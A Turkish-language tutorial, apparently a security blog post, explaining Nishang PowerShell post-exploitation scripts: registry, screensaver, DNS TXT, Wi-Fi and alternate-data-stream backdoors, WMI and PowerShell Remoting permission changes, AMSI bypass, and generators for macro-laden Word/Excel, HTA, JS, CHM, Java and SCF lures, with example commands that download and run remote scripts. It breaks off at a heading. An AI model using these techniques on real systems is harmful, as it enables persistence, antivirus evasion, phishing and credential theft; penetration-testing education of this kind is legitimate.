Nishang ile Windows Post Exploitation – Part 2

Nishang, Nikhal Mittal tarafından geliştirilen bir post-exploitation araçlar takımıdır. Nishang içerisinde post-exploitation işlemleri sırasında kullanılabilecek olan, Powershell dilinde yazılmış script kodları bulunmaktadır. Nishang’e ait script kodları ile; port taraması, bilgi toplama, ayrıcalık yükseltme, kimlik bilgilerini alma, arka kapı bırakma gibi işlemler gerçekleştirilebilir. Bu aracın en önemli avantajları; Powershell dili ile yazıldıklarından dolayı antivirüs sistemlerini geçebilmeleri, Powershell Windows işletim sistemi versiyonları ile uyumlu çalışabildiğinden ve varsayılan olarak kurulu olduğundan dolayı ek bir kurulum gerektirmemesi ve çalışan script kodlarının disk ile ilgisi olmayıp, sadece bellekte çalışmasıdır.

Backdoors

Bir saldırgan için post-exploitation aşamasının en sonuncusu, sistemde kalıcılık sağlamaktır. Yani saldırgan sisteme istediği zaman erişebilmek için bir arka kapı bırakmak ister. Nishang, post-exploitation işlemlerinde son aşamaya gelindiğinde, bir backdoor bırakarak sistemde kalıcılık sağlamak için, çeşitli yöntemler sunmaktadır. Bu yöntemler aşağıda açıklanmıştır:

Add-RegBackdoor

Windows sistemlerde yapışkan tuşları kontrol etmek amacıyla sethc.exe ve erişilebilirlik seçeneklerini ayarlamak için utilman.exe kullanılmaktadır. Bu script ile uzaktan komutların ve scriptlerin yürütülebilmesi için sethc.exe ve utilman.exe Debugger kayıt defteri anahtarlarını ayarlamaktadır ve “Network Level Authentication (NLA)” özelliğini devre dışı bırakmaktadır. Payloadların uzaktan RDP ile başlatılabilmesi için “Network Level Authentication (NLA)” devre dışı bırakılmalıdır. Bu scripte ait olan tek parametre “Payload” parametresidir. Bu parametreye ait olan varsayılan değer “cmd.exe” dir. Bu parametre ile hedef üzerinde çalıştırılacak olan uygulama belirtilir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.1.1 – Add-RegBackdoor
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.1.2 – sethc.exe Kaydı
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.1.3 – utilman.exe Kaydı
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.1.4 – NLA Devre Dışı Bırakma

Add-ScrnSaveBackdoor

Windows işletim sistemlerinde uzun bir süre işlem yapılmadığında ekranda bir animasyon görüntüsü belirir. Bu görüntü “Ekran Koruyucu (Screen Saver)” olarak adlandırılır. Windows işletim sistemlerinde “C:\Windows\System32” dizini altında “scrnsaver.scr” adlı bir dosya bulunur ve dosyanın çalıştırılmasıyla ekranda bir ekran koruyucu görünür. Ekran koruyucu özelliğinin aktif edilip, uzun bir süre işlem yapılmadığında çalışabilmesi için, “HKCU:\Control Panel\Desktop\” altında “SCRNSAVE.EXE” adlı bir kayıt oluşturulabilir ve bu kayda değer olarak “C:\Windows\System32\scrnsaver.scr” yolu atanabilir.

Bu script kullanılarak ekran koruyucu aracılığıyla payload çalıştırılır. Script, varsayılan olarak  “C:\Windows\System32” altında “Ribbons.scr” adında ekran koruyucu dosyası oluşturur, “HKCU:\Control Panel\Desktop\” altında “SCRNSAVE.EXE” adlı bir alt anahtar oluşturarak bu kayda “C:\Windows\System32\Ribbons.scr” değeri atar, ekran koruyucu çalıştırıldığında payload çalışması için “HKLM:\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\Ribbons.scr” adlı bir anahtar oluşturarak bu anahtarın altına “Debugger” adlı bir kayıt ekler ve bu kayda değer olarak, internet üzerinden script dosyası indirip çalıştıran bir payload veya normal bir payload atar. Böylece ekran koruyucu tetiklendiğinde bu kayıtlara göre “Ribbons.scr” çalışır ve bununla birlikte belirtilen payload da çalışır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.2.1 – Add-ScrnSaveBackdoor
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.2.2 – Ekran Koruyucu
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.2.3 – Powershell Oturumu

DNS TXT_Pwnage

Bu script  DNS TXT kayıtlarının kullanarak; payload çalıştırma ve shell elde etme amacıyla kullanılır. Script çalıştığı sırada, durdurulmadığı sürece DNS sunucusuna sürekli istek atar ve TXT kayıtları aracılığıyla, komutları tekrar tekrar çalıştırır. Scriptin kullanılması için bir DNS sunucusuna ihtiyaç olacaktır. Bu yazıda yapılacak örnekle, metasploit ile Powershell oturumu elde edilmesi hedeflenmektedir. Bu hedef için DNS sunucusu olarak, sanal ortamda kurulu olan “privia.labs” adlı DNS sunucusu kullanıldı.

İlk olarak DNS TXT kayıtlarından yararlanarak shell elde etmek için, metasploit ile oturum elde edilmesini sağlayan kodlar TXT kayıtlarına eklenmelidir. Bunun için, her bir TXT kaydına yerleştirmek adına, zararlı kodları Base64 ile encode edip parçalara ayıran Nishang “Out-DnsTxt” script kullanılabilir. Bu script ile kodlar encode edilerek, TXT kayıtlarına eklenmek üzere parçalara ayrılır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.1 – Out-DnsTxt
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.2 – Parçalanmış Kodlar

Yukarıdaki resimde görüldüğü üzere zararlı komutlar encode edildi ve 7 parçaya ayrılmış bir şekilde “encoded.txt” dosyasına kaydedildi.

Bu işlemden sonra “encoded.txt” dosyasındaki her bir satır, domain için oluşturulmuş olan TXT kayıtlarına yerleştirilmelidir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.3 – TXT Kayıtları

Yukarıdaki resimde görüldüğü üzere, “32.privia.labs” adlı bir subdomain oluşturuldu ve her bir satır TXT kayıtlarına yerleştirildi.

Scriptin çalışması için, bir komutun mu yoksa bir powershell scriptinin mi çalışması gerektiğini belirleyen “StartDomain” ve bir komut çalıştırılması için “CommandDomain” parametresine ihtiyaç vardır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.4 – TXT Kayıtları

Bu işlemlerden sonra DNS_TXT_Pwnage cmdlet çalıştırılabilir. Bu script ile verilen parametrelere göre DNS sunucusunda bulunan TXT kayıtları alınacak ve Base64 ile encode edilen kodlar decode edilerek, ele geçirilen makine üzerinde çalıştırılacaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.5 – DNS_TXT_Pwnage

Yukarıdaki resimde görüldüğü üzere, scriptin çalıştırılması için bazı parametreler kullanılmıştır. İlk parametre “StartDomain” parametresidir. Bu parametreye bir TXT kaydına sahip domain adı atanır. TXT kaydına ait olan metin, “cmdstring”,“psstring” ve “StopString” parametrelerine atanan değerler ile karşılaştırılır. Eğer TXT kaydı “cmdstring” ile eşleşirse, “commanddomain” ile belirtilen Domain adına ait TXT kaydında bulunan komut çalıştırılır. Eğer TXT kaydı “psstring” ile eşleşirse, “psdomain” ile belirtilen domain adına ait olan, “Subdomains” parametresi ile belirtilen sayıda TXT kaydında bulunan komutlar birleştirilir ve çalıştırılır. Eğer TXT kaydı “StopString” ile eşleşirse, script istek atmayı ve çalışmayı durdurur. “AuthNS” parametresi ise, belirtilen alanlar için yetkili bir nameserver (ad sunucusu) belirtir. Bu örnek için “StartDomain” TXT kaydında bulunan metin ile “psstring” parametresinde bulunan metin eşleşmektedir.  Dolayısıyla “32.privia.labs” alt alanı altında bulunan 7 adet TXT kaydında bulunan, Base64 olarak encode edilmiş metinler birleştirilecek ve decode edildikten sonra çalıştırılacaktır. Böylece bir “Powershell reverse shell” elde edilecektir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.3.6 – Powershell reverse shell

Gupt-Backdoor

Gupt, bir Wi-Fi oluşturarak, kurban makinede Wi-Fi adına göre; indirme, komut çalıştırma gibi işlemler yapmak için kullanılır. Gupt, her 5 saniyede bir kablosuz ağları kontrol eder ve üç parametreye sahiptir. Bunlardan ilki, “MagicString” parametresidir. “MagicString” parametresinin değeri ile ağda bulunan Wi-Fi bağlantıları SSID değerleri karşılaştırılır. “MagicString” parametresine 4 karakterli bir değer atanabilir ve ilk 4 harfi bu değer ile eşleşen SSID değerine sahip bağlantılar bulunur. SSID değerinin 5. karakteri “c” ise SSID’nin geri kalanı komut olarak algılanır ve o komut çalıştırılır. Eğer SSID değerinin 5. karakteri “u” ise SSID’nin geri kalanı Google URL Shortener’a ait ID kısmı olarak algılanır ve komut dosyası URL’den indirilerek çalıştırılır. Gupt’a ait olan diğer parametrelerden “Arguments” parametresi ile indirilip çalıştırılacak script için argüman sağlanır . “EncodedCmd” parametresi ise SSID içerisinde bulunan komut ROT13 ile encode edilmişse, bu komutu çalıştırmak için kullanılır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.4.1 – Kablosuz Ağ
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.4.2 – Gupt-Backdoor

Gupt hiçbir kablosuz ağa bağlanmaz ve bu yüzden ağ trafiğini atlatır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.4.3 – Script İndirme

Yukarıdaki resimde görünen kodlar, SSID’nin 5. karakteri “u” olursa geri kalan metni http://goo.gl/ linkine ekleyerek bu linkten bir script indirecek ve çalıştıracaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.4.4 – Kod Çalıştırma

Yukarıdaki resimde görünen kodlar, SSID’nin 5. karakteri “c” olursa geri kalan metnin önce ROT13 ile encode edilip edilmediğini kontrol eder. Eğer şart sağlanmaz ise metni direk $cmd değişkenine atar.  Sonra metnin “exit” olup olmadığını kontrol eder ve şart sağlanırsa diğer şartları kontrol etmez. Ön koşullar kontrol edildikten sonra “Invoke-Expression” ile $cmd değişkeninde bulunan komut çalıştırılır.

HTTP-Backdoor

Bu script ile bir URL sorgulanır ve URL üzerinden powershell scripti indirilerek çalıştırılır. “CheckURL” parametresi ile belirtilen URL içeriği ile “MagicString” parametresine atanan değerin eşleşmesi durumunda, script çalışmaya başlar. Çalışmaya başlayan script, “PayloadURL” adresinde belirtilen URL adresini sorgular ve URL ile belirtilen script dosyasını indirerek çalıştırır. İndirilen script ile çalıştırmak üzere, “Arguments” parametresi ile argüman belirtilebilir.  “CheckURL” parametresi ile belirtilen URL içeriği ile “StopString” parametresine atanan değerin eşleşmesi durumunda, script çalışmayı durduracaktır. Ayrıca bu script, script çalıştırıldıktan sonra elde edilen sonuçları; Gmail, PasteBin, bir web sunucusu veya bir DNS sunucusuna sızdırmaya olanak sağlar.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.5.1 – HTTP-Backdoor

Execute-OnTime

Bu script, belirlenen zamanda , bir URL adresi üzerinden script dosyası indirerek çalıştırmak amacıyla kullanılmaktadır. Ayrıca bu script, script çalıştırıldıktan sonra elde edilen sonuçları; Gmail, PasteBin, bir web sunucusu veya bir DNS sunucusuna sızdırılmaya olanak sağlar. Bu scriptin çalışması için; PayloadURL, CheckURL, Time, Arguments ve StopString parametrelerinin değer almaları zorunludur. “PayloadURL” ile çalıştırılacak script için URL adres belirtilir. Scriptin indirilip çalıştırılma zamanı, 24 saat cinsinden “Time” parametresi ile belirtilmelidir. Scriptin bir argüman alması gereklidir ve  bu argüman “Arguments” parametresi ile belirtilir. Scriptin çalışmasını durdurmak için “StopString” parametresine atanan değer , “CheckURL” ile belirtilen adresin içeriği ile eşleşmelidir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.6.1 – Execute-OnTime

Yukarıdaki resimde görüldüğü üzere, adresinden alınan script, “Get-Process” cmdlet’i argüman alarak saat “18:27” de çalıştırılmıştır.“StopString” parametresine atanan değer, adresinin içeriği ile eşleşirse , script çalışmayı durduracaktır. Eğer eşleşme olmazsa script çalışmaya devam edecektir.

Invoke-ADSBackdoor

Alternatif Veri Akışı (ADS – Alternate Data Stream), Windows NTFS dosya sisteminin, dosya yazarına göre veya dosya başlığına göre, dosyayı bulmasını sağlayan, özet veriler içeren bir özelliktir. ADS, Windows 7’den günümüze kadar olan tüm işletim sistemlerini desteklemektedir.

ADS, saldırganların kurbanları için bir tehdit oluşturmaktadır. Çünkü, ADS ile bir dosyaya başka bir dosya gömülebilir ve bu işlem dosya üzerinde herhangi bir değişikliğe neden olmaz. Bu nedenle saldırganlar bir dosya için zararlı bir veri akışı oluşturabilir ve bu zararlının çalıştırılmasıyla makineye erişim sağlanabilir.

Invoke-ADSBackdoor ile, bir dosya için iki adet ADS oluşturulur. İlki çalıştırılacak olan zararlı bir payload dosyasıyken, ikincisi bu payload’u çalıştıran VBS (Visual Basic Script) dosyasıdır.

Bu script, öncelikle kullanıcıya ait olan “AppData” dizini için; rastgele adlandırılacak ve içerisine encode edilmiş powershell payload kodları yazılacak bir “.txt” uzantılı dosya oluşturur ve veri akışı olarak ekler.

Daha sonra bu veri akışını çalıştırarak içerisindeki payload’un çalışmasını sağlayan “.vbs” uzantılı bir VBS dosyası oluşturur ve bu dosyayı da ikinci veri akışı olarak ekler. Ardında “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run” anahtarının altında “Update” adlı bir alt kayıt oluşturur ve bu kayda…

“wscript.exe $env:USERPROFILE\AppData:<VBS_ADS>”

…değerini atar. Böylece, makine açıldıktan sonra kullanıcı haklarıyla, VBS dosyası otomatik olarak çalıştırılacak ve payload tetiklenerek çalıştırılacaktır. Böylece kalıcılık sağlanmış olacaktır.

Aşağıdaki resimde, script “PayloadURL” parametresi ile birlikte çalıştırılmıştır. Bu parametreye atanan URL, Base64 ile encode edilmiş 64 bit meterpreter oturumu sağlayan kodlar içermektedir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.7.1 – Invoke-ADSBackdoor

Script çalıştırıldıktan sonra, AppData dizini için veri akışları oluşturuldu ve VBS veri akışını tetikleyen kayıt, kayıt defterine eklendi.

Aşağıdaki resimde AppData dizininin listelenmesi sonucu, oluşturulmuş olan veri akışları görülmektedir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.7.2 – Oluşturulmuş Olan Veri Akışları

Aşağıdaki resimde, içerisinde Base64 meterpreter payload barındıran “.txt” uzantılı veri akışının içeriği görülmektedir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.7.3 – Veri Akışı İçerisinde Yer Alan Payload

Kayıt defterine eklenen kayıt tetiklendiğinde, “wscript” uygulaması ile VBS çalıştırılacaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.7.4 – Kayıt Defterine Eklenen Kayıt

VBS ile payload çalıştırıldıktan sonra, meterpreter oturumu elde edilecektir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.7.5 – Meterpreter Oturumu

Set-RemotePSRemoting

Windows sistemlerde, powershell üzerinden uzak bir bilgisayara erişim sağlanabilmektedir. Her iki makinede de “Powershell Remoting” özelliği aktif edilip, karşılıklı güven ilişkisi sağlandıktan sonra, varsayılan olarak 5985 ve 5986 numaralı portlar aracılığıyla HTTP(S) üzerinden erişim sağlanabilir. Bu erişim için, karşı makineye bağlanan kullanıcı, karşı makinede kayıtlı yönetici yetkilerine sahip bir kullanıcıya ait olan kimlik bilgilerini bilmelidir ve o kimlik bilgileri ile erişim sağlamalıdır.

Bu script kullanılarak, yönetici haklarına sahip olmayan bir kullanıcı hesabına Powershell Remoting özelliği için “Full Control” verilir ve kullanıcı hesabı ile uzaktan erişim sağlanabilir. Ayrıca bu script ile Powershell Remoting için tam yetkiye sahip olan bir kullanıcının hakları kısıtlanabilir.

Öncelikle, kısıtlı hak ve yetkilere sahip olan ve sadece “Domain Users” grubunda bulunan “backdoor” kullanıcısına, Powershell Remoting ile erişim sağlanmaya çalışıldı.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.1 – Kullanıcı Özellikleri
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.2 – Erişim Sağlanamaması

Ardından script, backdoor kullanıcısı için çalıştırıldı ve kullanıcı Powershell Remoting erişimi için tam yetkiye sahip oldu.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.3 – Set-RemotePSRemoting
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.4 – Yeniden Uzak Erişim

Bu script bir kullanıcı için “Remove” parametresiyle birlikte çalıştırıldığında, kullanıcının Powershell Remoting özelliği yetkileri kısıtlanacaktır ve erişim sağlanamayacaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.5 – Remove Parametresinin Kullanılması
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.8.6 – Erişim Kısıtlaması

Set-RemoteWMI

Bu script, yönetici ayrıcalıklarına sahip olmayan domain hesaplarına WMI erişimi vermek için, DCOM ve WMI ad alanlarının güvenlik tanımlayıcılarını değiştirmek amacıyla kullanılmaktadır. Script, bu yetkilendirme için “Built-in Administrators” grubunun izinlerini, WMI ve DCOM ad alanlarının erişim kontrol listesine (ACL) ekler. “Namespace” parametresi ile farklı bir namespace belirtilmediği sürece varsayılan değer “root” değeridir. Ayrıca bu işlem uzak bir makine için de yapılabilir.

Aşağıdaki resimde görüldüğü üzere, kısıtlı yetkilere sahip olan bir “Domain Users” hesabı ile WMI aracılığıyla uzaktan komut çalıştırma denemesi yapılmıştır ve işlem başarılı olmamıştır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.9.1 – Erişim Engellemesi

Script “backdoor” hesabı için çalıştırıldıktan sonra WMI erişiminde bir problem olmayacaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.9.2 – Set-RemoteWMI
Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.9.3 – Invoke-WMIMethod

Bu script bir kullanıcı için “Remove” parametresiyle birlikte çalıştırıldığında, kullanıcının WMI erişim yetkileri kısıtlanacaktır ve erişim sağlanamayacaktır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.3.9.4 – Remove Parametresinin Kullanılması

Bypass

Bir sisteme sızma işlemi gerçekleştirildikten sonra, sistem üzerinde ilerleme sırasında, birtakım engeller ile karşılaşılabilir. Örneğin, antivirüs sistemleri veya güvenlik duvarı ile karşılaşılabilir. Böyle durumlarda bu engelleri atlatmak gerekebilir. Nishang, atlatma işlemi için 1 adet script sunmaktadır. Bu script aşağıda açıklanmıştır.

AMSI Bypass

AMSI (AntiMalware Scan Interface) bir makinede bulunan herhangi bir zararlı yazılımın yakalanmasını sağlayan genel bir standarttır. Kullanıcı verileri, uygulamalar ve iş yükleri için gelişmiş kötü amaçlı yazılım koruması sağlar. Bu script belirli yöntemler ile AMSI atlatmak amacıyla kullanılır. Bu yöntemler aşağıda açıklanmıştır.

Düşük Sürüm Powershell

Windows 10 sistemlerde varsayılan olarak powershell 5. versiyon çalışır. Powershell versiyon 2 ile çalıştırılan komutlar AMSI aktif olduğunda tespit edilemez. Dolayısıyla zararlı bir script 2. versiyon ile çalıştırılarak AMSI atlatılabilir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.4.1.1 – Düşük Versiyon Powershell

Obfuscation

AMSI aktif olduğunda zararlı bir powershell scriptini, imzasına göre tespit edebilir. Eğer script içeriği karmaşıklaştırılırsa AMSI atlatılabilir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.4.1.2 – Obfuscation Sonucu Script Yükleme
Nishang ile Windows Post Exploitation - Part 2
Resim 2.4.1.3 – Obfuscation
Nishang ile Windows Post Exploitation - Part 2
Resim 2.4.1.4 – Obfuscate Edilmiş Script
Resim 2.4.1.5 – Obfuscate Sonrası Başarılı Script Çalıştırma

Bu yöntemlere göre Invoke-AMSIBypass.ps1 scripti çalıştırılarak, AMSI Bypass edilir ve script çalıştırılabilir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.4.1.6– AMSI Bypass

Client

Out-Word

Bu script ile bir Word dosyası oluşturulur ve oluşturulan bu Word dosyasında, kullanıcı tarafından belirlenen powershell kodu veya powershell dosyasını otomatik olarak çalıştıran bir makro oluşturulur. Örnek olarak aşağıdaki komutta “Payload” parametresi ile belirtilen komut, oluşturulacak dosya içerisine eklenen makro ile çalışır. Bu Word dosyası “Salary_Details.doc” adıyla komut çalıştırılan dizine kaydedilir.

Out-Word -Payload “powershell.exe -ExecutionPolicy Bypass -c Get-Process”

Bu script “PayloadURL” parametresi ile kullanılarak internet üzerinden alınan bir script makro ile birlikte çalışabilir. “Arguments” parametresi de dahil edilerek bu komut dosyası bir argümanla birlikte çalıştırılabilir.

Out-Word -PayloadURL “http://192.168.228.128/Get-Information.ps1” -Arguments Get-Information

Bu script, “PayloadScript” parametresi ile çalıştırıldığında, bir script dosyası makro ile birlikte çalıştırılabilir.

Out-Word -PayloadScript C:\Invoke-Mimikatz.ps1

Bu script için diğer parametreler aşağıdaki gibidir.

  • DDE: Bu parametre ile makrolar yerine DDE saldırı vektörü kullanılır.
  • WordFileDir: Oluşturulacak makrodan word dosyalarının etkilenmesi için, word dosyalarının bulunduğu dizini belirtir.
  • OutputFile: Word dosyasının dışarıya nasıl çıkması gerektiği belirlenir. Varsayılan olarak “Salary_Details.doc” değerini alır.
  • RemoveDocx: Bir dizindeki dosyaları etkilemek için WordFileDir’i kullanırken, virüslü dosyaları oluşturduktan sonra orijinalleri kaldırır.
  • Recurse: WordFileDir’deki Word dosyalarını tekrar tekrar arar.
  • RemainUnSafe: Out-Word kullanıldıktan sonra makro güvenliğini kapalı tutmak için bu parametre kullanılır.
Resim 2.5.1.1 – Out-Word
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.1.2 – Makro

Out-Excel

Bu script, içerisinde dosyanın açılmasıyla birlikte çalışan bir makro bulunan excel dosyası oluşturulur. Bu scriptin çalıştırılmasıyla birlikte, powershell kodu veya powershell dosyasını otomatik olarak çalıştıran bir makro eklenir. Script çalıştırıldıktan sonra belirtilen konuma veya aynı  dizine, içerisinde otomatik olarak tanımlanmış bir makro bulunan “Salary_Details.xls” adlı bir dosya çıkartılır.

Bir powershell komutunun “Payload” parametresi kullanılır.

Out-Excel -Payload “powershell.exe whoami”

Eğer bir script dosyasının çalıştırılması istenirse, “PayloadScript” parametresi kullanılır.

Out-Excel -PayloadScript C:\script.ps1

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-Excel -PayloadURL

Bu script için diğer parametreler aşağıdaki gibidir:

  • DDE: Bu parametre ile makrolar yerine DDE saldırı vektörü kullanılır.
  • ExcelFileDir: Oluşturulacak makrodan dizinde bulunan tüm excel dosyalarının etkilenmesi için, excel dosyalarının bulunduğu dizini belirtir.
  • OutputFile: Excel dosyasının dışarıya nasıl çıkması gerektiği belirlenir. Varsayılan olarak “Salary_Details.xls” değerini alır.
  • RemoveXlsx: Bir dizindeki dosyaları etkilemek için ExcelFileDir’i kullanırken, virüslü dosyaları oluşturduktan sonra orijinalleri kaldırır.
  • Recurse: ExcelFileDir’deki Excel dosyalarını tekrar tekrar arar.
  • RemainSafe: Out-Excel kullanıldıktan sonra makro güvenliğini açık tutmak için bu parametre kullanılır.
Resim 2.5.2.1 – Out-Excel
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.2.2 – Makro

Out-HTA

Bu script kullanılarak, powershell komutları çalıştıran HTML uygulaması oluşturulur.  Bu uygulama içinde HTML ve Visual Basic kodları bulunur. Bu dosya bir web sunucusu çağrıldığında, bir powershell komutu çalışır.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-HTA -Payload “powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c whoami”

Eğer bir script dosyasının çalıştırılması istenirse, “PayloadScript” parametresi kullanılır.

Out-HTA -PayloadScript C:\script.ps1

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır. Bu parametre ile indirilen dosyanın argüman alarak çalıştırılması için “Arguments” parametresi kullanılır.

Out-HTA -PayloadURL -Arguments Check-VM

Bu script ile aynı dizine varsayılan olarak “WindDef_WebInstall.hta” adlı bir dosya çıkartılır. Varsayılanı değiştirmek için “HTAFilePath” parametresi kullanılır.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.3.1 – Out-HTA
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.3.2 – Powershell Komutu

Out-JS

Bu script ile javascript aracılığıyla istemci taraflı saldırılar gerçekleştirilebilir. Bu script kullanılarak javascript ile kurban makinede powershell komutu çalıştırılabilir. Javascript dosyasının çalıştırılması ile bir “Windows Script Host” uygulaması çalışır ve bunun üzerinde belirtilen powershell payload çalıştır. 

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır. Oluşacak olan JS dosyası aynı dizine çıkartılır ve varsayılan olarak “Style.js” adını alır. Bu dosyayı farklı bir isim ile farklı bir yola çıkartmak için “OutputPath” parametresi kullanılır.

Out-JS -Payload “powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c whoami”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır. Bu parametre ile indirilen dosyanın argüman alarak çalıştırılması için “Arguments” parametresi kullanılır.

Out-JS -PayloadURL -Arguments “Get-Information”

Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.4.1 – Out-JS
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.4.2 – Reverse shell

Out-CHM

CHM (Compiled HTML), Microsoft HTML tabanlı yardım programının kullanıdığı, derlenmiş HTML dosya uzantısıdır. Sıkıştırılmış HTML dosyalarının yanı sıra, bu dosyaların bağlantı kurdukları resim ve JavaScriptleri içerebilir. Bu script ile powershell komutları veya powershell komut dosyaları çalıştırılabilir. Bu scripti çalıştırmak için kurban makinede “hhc.exe” çalıştırılabilir dosyasının bulunması gerekmektedir.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-CHM -Payload “Get-Process” -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-CHM -PayloadURL -Arguments Check-VM -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Yerel makinede bulunan bir powershell script çalıştırmak için, o script dosyasını belirtmek adına, “PayloadScript” parametresi kullanılır.

Out-CHM -PayloadScript C:\shell.ps1 -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Bu script için diğer parametreler aşağıdaki gibidir.

  • Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.
  • HHCPath: hhc.exe uygulamasının dizin yolunu belirtir.
  • OutputPath: Varsayılan olarak aynı dizine “doc.chm” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.5.1 – Out-CHM

Out-Java

Bu script, uygulamalarda kullanılmak üzere JAR üretmek için kullanılabilecek bir scripttir. Bu script, JAR’ı yüklemek için applet etiketini kullanan bir JAR ve HTML dosyası oluşturur. JAR ve HTML’in bir web sunucusunda barındırılması gerekir ve hedef bu URL’yi açar açmaz powershell komutu çalıştırılır.

Script çalıştırıldıktan sonra öncelikle 4 adet dosya oluşur:

  • JavaPS.class
  • JavaPS.java
  • Manifest.txt
  • JavaPS.jar

Öncelikle JavaPS.java dosyası “javac.exe” uygulaması ile derlendikten sonra JavaPS.class adlı dosya oluşmaktadır. Ardından hakları belirleyen bir “manifest.txt” dosyası oluşturulduktan sonra, class ve manifest dosyaları “JavaPS.jar” dosyası oluşturularak arşivlenecektir. Bu dosya -NoSelfSign parametresi “True” değerini almadığı sürece “jarsigner.exe” uygulaması ile imzalacanak ve “SignerJavaPS.jar” ve “applet.html” adlı iki dosya oluşacaktır. Bu iki dosya aynı dizine alınıp, web sunucusu ile applet.html dosyası çalıştırıldıktan sonra powershell komutu çalışacaktır.

Bu script aracılığıyla, bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-Java -Payload “Get-Process” -JDKPath “C:\Program Files\Java\jdk-11.0.2”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-Java -PayloadURL “https://priviasecurity.com/script.ps1” -JDKPath “C:\Program Files\Java\jdk-11.0.2”

Bu script için diğer parametreler aşağıdaki gibidir.

  • Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.
  • JDKPath: “.java” uzantılı dosyanın derlenmesi için JDK yolunu belirtir.
  • OutputPath: Varsayılan olarak aynı dizine “doc.chm” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.
  • NoSelfSign: JAR’ı imzalamak için kendinden imzalı bir sertifika oluşturmak istenmediği zaman kullanılır.
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.6.1 – Out-Java
Resim 2.5.6.2 – Oluşan Dosyalar
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.6.3 – Powershell Oturumu

Out-SCF

SCF, Shell Command File (Shell Komut Dosyası) anlamına gelir ve bir Windows Gezgini penceresi açmak veya Masaüstü’nü göstermek gibi Windows Explorer komutlarını destekleyen bir dosya biçimidir. Bu script, NTLM Hash değerlerini elde etmek için kullanılacak SCF dosyaları oluşturmak amacıyla kullanılır. Script çalıştıktan sonra aynı dizinde varsayılan olarak “SystemCatalog.scf” adlı bir dosya oluşur (Dizin ve dosya adı “OutputPath” parametresi kullanılarak isteğe bağlı olarak ayarlanabilir). Dosya çalıştırıldıktan sonra “IPAddress” parametresi ile verilen adresin “/share/test.ico” yolundaki dosyasına, SMB servisi aracılığıyla bir istek atılacaktır. Böylece buradan yola çıkılarak NTLM Hash değerleri alınabilir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.7.1 – Out-SCF

Out-SCT

